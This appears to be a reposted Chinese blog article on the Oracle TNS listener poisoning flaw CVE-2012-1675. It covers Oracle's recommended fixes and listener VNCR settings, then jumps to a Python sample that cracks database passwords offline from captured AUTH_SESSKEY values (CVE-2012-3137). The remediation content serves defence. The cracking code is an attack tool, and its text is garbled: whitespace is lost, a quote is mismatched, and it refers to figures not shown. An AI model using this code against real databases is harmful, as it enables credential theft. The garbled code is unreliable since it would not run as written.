來源:http://blog.csdn.net/wengtf/article/details/46632405
此次有用戶正好大規模安全漏洞掃描后,發現此漏洞,該漏洞存在於Oracle DB的所有版本中,當然10g和11g均中招.
1. Vulnerability Description(漏洞描述)
This security alert addresses the security issue CVE-2012-1675, a vulnerability in the TNS listener which hasbeen recently disclosed as "TNS Listener Poison Attack" affecting the Oracle Database Server. This vulnerability may be remotely exploitable without authentication, i.e. it may be exploited over a network without the need for a username and password. A remote user can exploit this vulnerability to impact the confidentiality, integrity and availability of systems that do not have recommended solution applied.
Oracle 2012年發布的告警,CVE-2012-1675漏洞是Oracle允許攻擊者在不提供用戶名/密碼的情況下,向遠程“TNS Listener”組件處理的數據投毒的漏洞。舉例:攻擊者可以再不需要用戶名密碼的情況下利用網絡中傳送的數據消息(包括加密或者非加密的數據),如果結合(CVE-2012-3137漏洞進行密碼破解)從而進一步影響甚至控制局域網內的任何一台數據庫。
2.針對該漏洞,oracle給出了2種不同環境的解決方法:
http://www.oracle.com/technetwork/topics/security/alert-cve-2012-1675-1608180.html Recommendations for protecting against this vulnerability can be found at: My Oracle Support Note 1340831.1 for Oracle Database deployments that use Oracle Real Application Clusters (RAC). My Oracle Support Note 1453883.1 for Oracle Database deployments that do not use RAC.
注意:驗證環節需要在圖2的劫持數據庫中的監聽日志中,查看是否存在refuse remote_listener訪問的信息,如有,即說明加固成功
同時,還提及了一個在11.2.0.4和12.1中或者在RAC中的新參數配置解決該問題:Valid Node Checking For Registration (VNCR) (文檔 ID 1600630.1)
VALID_NODE_CHECKING_REGISTRATION_listener_name Values: OFF/0 - Disable VNCR ON/1/LOCAL - The default. Enable VNCR. All local machine IPs can register. SUBNET/2 - All machines in the subnet are allowed registration. #可以指定固定IP或者網段中的服務器 REGISTRATION_INVITED_NODES_listener-name Values are valid IPs, valid hosts, a subnet using CIDR notation (for ip4/6), or wildcard (*) for ipv4. For example: REGISTRATION_INVITED_NODES_Listener=(net-vm1, 127.98.45.209, 127.42.5.*) Note that when an INVITED list is set, it will automatically include the machine's local IP in the list. There is no need to include it. REGISTRATION_EXCLUDED_NODES_listener_name - the inverse of INVITED_NODES. |



根據這個過程可知上面TNS劫持包中取得的加密信息:AUTH_SESSKEY,AUTH_SESSKEY_CLIENT,AUTH_PASSWORD,AUTH_VFR_DATA這四個值是解密的關鍵。我們把他們按照SHA1,MD5,AES192進行一系列處理。最終通過數據字典碰撞得到密碼明文。 下面這段網上公布的一段示例代碼,這段代碼與筆者的思路不完全相同,但也能大概地說明這個漏洞的攻擊過程: import hashlib from Crypto.Cipher import AES def decrypt(session,salt,password): pass_hash= hashlib.sha1(password+salt) key =pass_hash.digest() + '\x00\x00\x00\x00' decryptor= AES.new(key,AES.MODE_CBC) plain =decryptor.decrypt(session) returnplain session_hex ='EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767' salt_hex = 'A7193E546377EC56639E' passwords = ['test','password',''oracle','demo'] for password in passwords: session_id= decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password) print'Decrypted session_id for password "%s" is %s' %(password,session_id.encode('hex')) ifsession_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08': print'PASSWORD IS "%s"' % password break